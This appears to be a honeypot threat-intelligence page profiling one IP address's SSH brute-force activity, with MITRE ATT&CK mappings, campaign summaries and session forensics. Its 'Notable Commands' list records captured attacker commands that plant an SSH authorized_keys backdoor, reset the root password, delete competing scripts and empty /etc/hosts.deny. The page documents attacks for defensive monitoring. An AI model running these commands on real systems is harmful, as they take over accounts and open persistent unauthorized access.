IntrusionLabs IntrusionLabs
← Back to feed

123.60.136.40

Threat Confidence
52%
Location
🇨🇳 CN / Shanghai
ASN
AS55990 · Huawei Cloud Service data center
Cloud Provider
—
Total Events
111
Above average by volume
Agent Count
1
First / Last Seen
2026-04-12 12:14 — 2026-04-12 12:34
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
T1595
Initial Access
T1078
Defense Evasion
T1070.004
Credential Access
T1110 T1110.001
Discovery
T1046 T1082 T1083
Command and Control
T1105
External Corroboration
Not flagged by any external feeds
Campaigns
Multi-Agent Scan SCAN Active medium
73 IPs 246500 events
2026-03-08 — ongoing · 73 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
74 IPs 246531 events
2026-03-08 — ongoing · 74 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
44 IPs 6507 events
2026-03-08 — ongoing · 44 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
142 IPs 267574 events
2026-03-03 — ongoing · 142 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Session Forensics
scanner ×1 malware_dropper ×2 credential_harvester ×6 opportunistic_bruter ×1
Sessions
10 (3 with login)
Avg Depth Score
0.47
Commands Executed
23
Files Downloaded
3
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
  • cat /proc/cpuinfo | grep name | wc -l
  • echo "root:DUagrvZBEHlU"|chpasswd|bash
  • rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
  • cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  • free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  • ls -lh $(which ls)
  • which ls
Fingerprints
HASSH
03a80b21afa810682a776a7d42e5e6fb
SSH Client
SSH-2.0-libssh_0.11.1
Evidence Timeline
Credential Harvester c8af71353a47 w4m_seattle_01 · 2026-04-12 12:34
1 35%
Loading events...
Credential Harvester 75913cf4018f w4m_seattle_01 · 2026-04-12 12:31
1 35%
Loading events...
Malware Dropper f0fc7c3fff21 w4m_seattle_01 · 2026-04-12 12:24
3 1 1 100%
Loading events...
Opportunistic Bruter f582a3333ddc w4m_seattle_01 · 2026-04-12 12:24
1 50%
Loading events...
Credential Harvester dfd3a883367b w4m_seattle_01 · 2026-04-12 12:24
1 35%
Loading events...
Credential Harvester 15c6e10d58ce w4m_seattle_01 · 2026-04-12 12:23
1 35%
Loading events...
Malware Dropper ca83140aa2d7 w4m_seattle_01 · 2026-04-12 12:21
20 2 1 100%
Loading events...
Credential Harvester 44fed4d7dc0f w4m_seattle_01 · 2026-04-12 12:21
1 35%
Loading events...
Credential Harvester 2f53cbcb6063 w4m_seattle_01 · 2026-04-12 12:14
1 35%
Loading events...
Scanner d0bae64e2075 w4m_singapore_01 · 2026-04-10 02:00
15%
Loading events...